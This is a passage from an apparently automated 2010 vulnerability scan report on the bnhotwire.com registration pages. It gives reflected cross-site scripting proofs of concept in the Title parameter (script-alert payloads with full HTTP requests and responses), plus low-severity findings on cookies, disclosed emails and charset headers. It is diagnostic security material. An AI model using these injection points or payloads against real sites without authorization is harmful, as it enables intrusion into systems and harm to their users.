FirstName=%27%27&LastName=%27%27&Title=8c478"><script>alert(1)</script>53589a3be5d&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:15 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Title" value= "8c478"><script>alert(1)</script>53589a3be5d">
...[SNIP]...

2.39. http://www.bnhotwire.com/register/terms.asp [Title parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Title request parameter is copied into the HTML document as plain text between tags. The payload ae6d2<script>alert(1)</script>5b35f15b9 was submitted in the Title parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=ae6d2<script>alert(1)</script>5b35f15b9&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:16 GMT
Content-Length: 6631
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;ae6d2<script>alert(1)</script>5b35f15b9</td>
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.bnhotwire.com
Path:   /register/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /register/ HTTP/1.1
Accept: */*
Referer: http://www.thecanadianpress.com/home.aspx?id=63
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:11:11 GMT
Content-Length: 13143
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQQATAARC=BJLCGANCAGOHCKJEHMFOIDOL; path=/
Cache-control: private

<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT LANGUAGE="JavaScript">
var isNN = (navigator.appName.indexOf("Netscape")!=-
...[SNIP]...

4. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


4.1. http://www.bnhotwire.com/content.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /content.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /content.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:31 GMT
Content-Length: 1559
Content-Type: text/html
Cache-control: private

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Command News</title>
<link rel="stylesheet" href="cpstyle.css">
   <script language="Javascript">
   <
...[SNIP]...
<a class="newBody" href="mailto:HotWire@thecanadianpress.com">
               HotWire@thecanadianpress.com</a>
...[SNIP]...

4.2. http://www.bnhotwire.com/register/confirm.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/confirm.asp

Issue detail

The following email address was disclosed in the response:

Request

POST /register/confirm.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/terms.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 245

check_1=ON&B1=Submit&FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27-%27-%27&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&Provinc
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:12:49 GMT
Content-Length: 3733
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<script language="JavaScript">
<!--
//CloseWindow
function closeWindow()
{
...[SNIP]...
<a href="mailto:hotwirehelp@thecanadianpress.com">
   hotwirehelp@thecanadianpress.com</a>
...[SNIP]...

5. HTML does not specify charset  previous
There are 5 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


5.1. http://www.bnhotwire.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /

Request

GET / HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.bnhotwire.com
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://www.bnhotwire.com/CPhotwire.htm
Date: Tue, 14 Dec 2010 16:14:31 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Fri, 14 Nov 2003 21:35:53 GMT
ETag: "f0c78a47f7aac31:14f2"
Content-Length: 683

<html>

<head>
<title>Welcome to BN Hotwire!</title>
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
</head>

<frameset rows=
...[SNIP]...

5.2. http://www.bnhotwire.com/register/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/

Request

GET /register/ HTTP/1.1
Accept: */*
Referer: http://www.thecanadianpress.com/home.aspx?id=63
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:11:11 GMT
Content-Length: 13143
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQQATAARC=BJLCGANCAGOHCKJEHMFOIDOL; path=/
Cache-control: private

<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT LANGUAGE="JavaScript">
var isNN = (navigator.appName.indexOf("Netscape")!=-
...[SNIP]...

5.3. http://www.bnhotwire.com/register/confirm.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/confirm.asp

Request

POST /register/confirm.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/terms.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 245

check_1=ON&B1=Submit&FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27-%27-%27&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&Provinc
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:12:49 GMT
Content-Length: 3733
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<script language="JavaScript">
<!--
//CloseWindow
function closeWindow()
{
...[SNIP]...

5.4. http://www.bnhotwire.com/register/terms.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&P
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:12:42 GMT
Content-Length: 6553
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...

5.5. http://www.bnhotwire.com/start.htm  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /start.htm

Request

GET /start.htm HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:32 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 17 Sep 2008 15:42:52 GMT
ETag: "2a5dd0bdc18c91:14f2"
Content-Length: 323

<HTML>
<HEAD>
<TITLE>Development Server</TITLE>
<META HTTP-EQUIV="Refresh" content="0; URL=http://www.bnhotwire.com/fpweb/fp.dll/htm/login.htm">
</HEAD>
<BODY>
<P>Loading... Press <A HREF=http:/
...[SNIP]...

Report generated by XSS.CX at Tue Dec 14 11:32:01 EST 2010.